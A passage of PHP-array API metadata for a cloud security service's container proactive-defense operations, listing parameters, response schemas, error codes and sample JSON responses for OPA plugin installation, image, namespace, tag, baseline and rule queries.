\\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"54572138-3390-5774-B71D-799DC8C2161B\\"\\n}","type":"json"}]', 'title' => 'GetOpaStrategyTemplateSummary', ], 'CreateOpaClusterPlugin' => [ 'summary' => 'Installs the components that are required by at-risk image blocking. The components are policy-template-controller, gatekeeper, and logtail-ds.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '178483', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ClusterIds', 'in' => 'query', 'style' => 'flat', 'schema' => [ 'description' => 'The cluster IDs.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The cluster ID.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c60b77fe62093480db6164a3c2fa****', ], 'required' => true, 'maxItems' => 50, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8', ], 'InstallStatus' => [ 'description' => 'The installation status of the components.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ClusterId' => [ 'description' => 'The cluster ID.'."\n", 'type' => 'string', 'example' => 'c60b77fe62093480db6164a3c2fa****'."\n", ], 'InstallStatus' => [ 'description' => 'Indicates whether the component is installed. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8\\",\\n \\"InstallStatus\\": [\\n {\\n \\"ClusterId\\": \\"c60b77fe62093480db6164a3c2fa****\\\\n\\",\\n \\"InstallStatus\\": true\\n }\\n ]\\n}","type":"json"}]', 'title' => 'CreateOpaClusterPlugin', ], 'GetOpaPluginStatus' => [ 'summary' => 'Queries the installation status of the components that are required for clusters protected by proactive defense for containers.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ClusterIds', 'in' => 'query', 'style' => 'flat', 'schema' => [ 'description' => 'The cluster IDs.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The cluster ID.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c60b77fe62093480db6164a3c2fa****', ], 'required' => true, 'maxItems' => 50, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F', ], 'InstallStatus' => [ 'description' => 'The installation status of the components that are required for clusters protected by proactive defense for containers.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ClusterId' => [ 'description' => 'The cluster ID.'."\n", 'type' => 'string', 'example' => 'c60b77fe62093480db6164a3c2fa****', ], 'InstallStatus' => [ 'description' => 'Indicates whether the component is installed. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F\\",\\n \\"InstallStatus\\": [\\n {\\n \\"ClusterId\\": \\"c60b77fe62093480db6164a3c2fa****\\",\\n \\"InstallStatus\\": true\\n }\\n ]\\n}","type":"json"}]', 'title' => 'GetOpaPluginStatus', ], 'GetOpaClusterLabelList' => [ 'summary' => 'Queries information about the tags that are added to containers based on the feature of proactive defense for containers.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'TagName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the tag.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster to which the container belongs.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~182997~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c556c8133b5ad4378b7fc533ddbda****', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'title' => '容量', 'description' => 'The number of entries per page. Default value: 200. If you leave the PageSize parameter empty, 200 entries are returned by default. Maximum value: 200.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'title' => '页码', 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The information about the tags that are added to containers.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'TagName' => [ 'description' => 'The name of the tag that is added to the container.'."\n", 'type' => 'string', 'example' => 'test', ], ], ], ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '95D35EB3-1F8E-5E07-A68E-BE018C9B80CB', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"TagName\\": \\"test\\"\\n }\\n ],\\n \\"Count\\": 2,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"95D35EB3-1F8E-5E07-A68E-BE018C9B80CB\\"\\n}","type":"json"}]', 'title' => 'GetOpaClusterLabelList', ], 'GetStrategyTemplateDetail' => [ 'summary' => 'Queries the usage details of templates provided in the feature of proactive defense for containers for rules.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the template.'."\n" ."\n" .'> You can call the [GetOpaStrategyTemplateSummary](~~GetOpaStrategyTemplateSummary~~) operation to query the IDs of templates.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '2', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The details of the template.'."\n", 'type' => 'object', 'properties' => [ 'StrategyId' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1005', ], 'StrategyTemplateId' => [ 'description' => 'The ID of the template.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1204', ], 'ClusterId' => [ 'description' => 'The cluster ID.'."\n", 'type' => 'string', 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', ], 'StrategyName' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'Blank template', ], 'Description' => [ 'description' => 'The description of the rule.'."\n", 'type' => 'string', 'example' => 'Custom defense configuration', ], 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'hhht-cluster-02', ], 'UnScanedImage' => [ 'description' => 'Indicates whether the rule supports unscanned images. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'false', ], 'MaliciousImage' => [ 'description' => 'Indicates whether the rule supports malicious Internet images. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'false', ], 'Namespace' => [ 'description' => 'The namespaces.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'example' => 'default', ], ], 'ImageName' => [ 'description' => 'The names of images.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The name of the image.'."\n", 'type' => 'string', 'example' => 'test', ], ], 'Label' => [ 'description' => 'The tags that are added to the containers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The tag that is added to the container.'."\n", 'type' => 'string', 'example' => 'test', ], ], 'RuleAction' => [ 'description' => 'The action on requests. Valid values:'."\n" ."\n" .'* **1**: trigger alerts'."\n" .'* **2**: block'."\n" .'* **3**: allow'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'WhiteList' => [ 'description' => 'The whitelists of tags that are added to images.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The whitelist of tags that are added to the image.'."\n", 'type' => 'string', 'example' => 'test-tag', ], ], 'AlarmDetail' => [ 'description' => 'The configuration of the rule.'."\n", 'type' => 'object', 'properties' => [ 'Baseline' => [ 'description' => 'The configuration of the baseline.'."\n", 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The severities of the baselines. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'array', 'items' => [ 'description' => 'The severity of the baseline. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'low', ], ], 'Item' => [ 'description' => 'The baseline items.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The unique identifier of the baseline check item.'."\n", 'type' => 'string', 'example' => 'ak_leak', ], 'Name' => [ 'description' => 'The name of the baseline check item.'."\n", 'type' => 'string', 'example' => 'Access Key plaintext storage', ], ], ], ], ], ], 'Vul' => [ 'description' => 'The configuration of the vulnerability detection rule.'."\n", 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The severities of the vulnerabilities.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The severity of the vulnerability. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'low', ], ], 'Item' => [ 'description' => 'The items on which vulnerabilities are detected.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the vulnerability.'."\n", 'type' => 'string', 'example' => 'AVD-2023-1680169', ], 'Name' => [ 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'example' => 'ezOffice evoInterfaceServlet Info Leak', ], ], ], ], ], ], 'MaliciousFile' => [ 'description' => 'The configuration of the alert rule for the malicious sample.'."\n", 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The severities of the malicious samples.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The severity of the malicious sample. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'low', ], ], 'Item' => [ 'description' => 'The items on which malicious samples are detected.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The unique identifier of the malicious sample.'."\n", 'type' => 'string', 'example' => 'test', ], 'Name' => [ 'description' => 'The name of the malicious sample.'."\n", 'type' => 'string', 'example' => 'test', ], ], ], ], ], ], ], ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1E36BEEA-0B27-58CC-8319-50279203B048', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"StrategyId\\": 1005,\\n \\"StrategyTemplateId\\": 1204,\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\",\\n \\"StrategyName\\": \\"Blank template\\",\\n \\"Description\\": \\"Custom defense configuration\\",\\n \\"ClusterName\\": \\"hhht-cluster-02\\",\\n \\"UnScanedImage\\": false,\\n \\"MaliciousImage\\": false,\\n \\"Namespace\\": [\\n \\"default\\"\\n ],\\n \\"ImageName\\": [\\n \\"test\\"\\n ],\\n \\"Label\\": [\\n \\"test\\"\\n ],\\n \\"RuleAction\\": 1,\\n \\"WhiteList\\": [\\n \\"test-tag\\"\\n ],\\n \\"AlarmDetail\\": {\\n \\"Baseline\\": {\\n \\"RiskLevel\\": [\\n \\"low\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"ak_leak\\",\\n \\"Name\\": \\"Access Key plaintext storage\\"\\n }\\n ]\\n },\\n \\"Vul\\": {\\n \\"RiskLevel\\": [\\n \\"low\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"AVD-2023-1680169\\",\\n \\"Name\\": \\"ezOffice evoInterfaceServlet Info Leak\\"\\n }\\n ]\\n },\\n \\"MaliciousFile\\": {\\n \\"RiskLevel\\": [\\n \\"low\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"test\\",\\n \\"Name\\": \\"test\\"\\n }\\n ]\\n }\\n }\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"1E36BEEA-0B27-58CC-8319-50279203B048\\"\\n}","type":"json"}]', 'title' => 'GetStrategyTemplateDetail', ], 'ListCriteriaStrategy' => [ 'summary' => 'Queries the IDs and names of rules configured for proactive defense for containers.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'title' => '集群编号', 'description' => 'The cluster ID.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c4af4fdf38a98496a9b63c2be5dae****', ], ], [ 'name' => 'StrategyName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'Namespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace of the cluster.'."\n" ."\n" .'> You can call the [GetOpaClusterNamespaceList](~~GetOpaClusterNamespaceList~~) operation to query the namespaces of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'ImageName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image.'."\n" ."\n" .'> You can call the [GetOpaClusterImageList](~~GetOpaClusterImageList~~) operation to query the names of images.'."\n", 'type' => 'string', 'required' => false, 'example' => 'testImage', ], ], [ 'name' => 'Label', 'in' => 'query', 'schema' => [ 'description' => 'The tag that is added to the container.'."\n" ."\n" .'> You can call the [GetOpaClusterLabelList](~~GetOpaClusterLabelList~~) operation to query the tags that are added to containers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'testlabel', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult>', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The IDs and names of the rules.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The unique identifier of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => 'test', ], 'Value' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'test', ], ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '835851E3-AFA2-5EA7-93E9-4FC9BCF3F973', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"Id\\": 0,\\n \\"Value\\": \\"test\\"\\n }\\n ],\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"835851E3-AFA2-5EA7-93E9-4FC9BCF3F973\\"\\n}","type":"json"}]', 'title' => 'ListCriteriaStrategy', ], 'GetOpaClusterImageList' => [ 'summary' => 'Get cluster image information.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'ImageName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'testImage', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster to which the container belongs.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c4af4fdf38a98496a9b63c2be5dae****', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'title' => '容量', 'description' => 'The number of entries per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'title' => '页码', 'description' => 'The page number. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The information about the images.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ImageName' => [ 'description' => 'The name of the image.'."\n", 'type' => 'string', 'example' => 'opa-test', ], ], ], ], 'Count' => [ 'description' => 'The number of images returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code 200 indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '0D02F593-2050-5F5D-8C98-D965FF1B461D', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"ImageName\\": \\"opa-test\\"\\n }\\n ],\\n \\"Count\\": 1,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"0D02F593-2050-5F5D-8C98-D965FF1B461D\\"\\n}","type":"json"}]', 'title' => 'Get Cluster Image Information', ], 'GetOpaClusterNamespaceList' => [ 'summary' => 'Queries information about the namespaces of clusters for which the rules of the at-risk image blocking type are configured in proactive defense for containers.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'NameSpaceName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the namespace.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sit', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster that you want to query.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ca0faf43e33904ecbb6c695df7906****', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'title' => '容量', 'description' => 'The number of entries per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'title' => '页码', 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The namespaces.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'NameSpaceName' => [ 'description' => 'The name of the namespace.'."\n", 'type' => 'string', 'example' => 'testNameSpace', ], ], ], ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '384BFAF1-FC41-58DD-97DD-9D361ADF377D', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"NameSpaceName\\": \\"testNameSpace\\"\\n }\\n ],\\n \\"Count\\": 0,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"384BFAF1-FC41-58DD-97DD-9D361ADF377D\\"\\n}","type":"json"}]', 'title' => 'GetOpaClusterNamespaceList', ], 'GetOpaClusterBaseLineList' => [ 'summary' => 'Queries the baselines that are supported by at-risk image blocking.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The information about baselines.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ClassKey' => [ 'description' => 'The key of the baseline type.'."\n", 'type' => 'string', 'example' => 'identification', ], 'NameKey' => [ 'description' => 'The key of the name for the baseline.'."\n", 'type' => 'string', 'example' => 'identification', ], 'ItemKey' => [ 'description' => 'The key of the name for the baseline check item.'."\n", 'type' => 'string', 'example' => 'duplicate_uid', ], 'Alias' => [ 'description' => 'The alias of the baseline.'."\n", 'type' => 'string', 'example' => 'Make sure there are no duplicate usernames or UIDs', ], ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'C2F2A020-1CAB-5F52-8CAF-B2ACDDFAC247', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"ClassKey\\": \\"identification\\",\\n \\"NameKey\\": \\"identification\\",\\n \\"ItemKey\\": \\"duplicate_uid\\",\\n \\"Alias\\": \\"Make sure there are no duplicate usernames or UIDs\\"\\n }\\n ],\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"C2F2A020-1CAB-5F52-8CAF-B2ACDDFAC247\\"\\n}","type":"json"}]', 'title' => 'GetOpaClusterBaseLineList', ], 'ListImageBuildRiskItem' => [ 'summary' => 'Queries the types of risky image build commands.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: zh. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'ListResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'ItemKey' => [ 'description' => 'The type key of the risky build command.'."\n", 'type' => 'string', 'example' => 'key', ], 'ItemName' => [ 'description' => 'The type name of the risky build command.'."\n", 'type' => 'string', 'example' => 'itemName.', ], ], 'description' => 'The data returned.'."\n", ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C619F37', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"ItemKey\\": \\"key\\",\\n 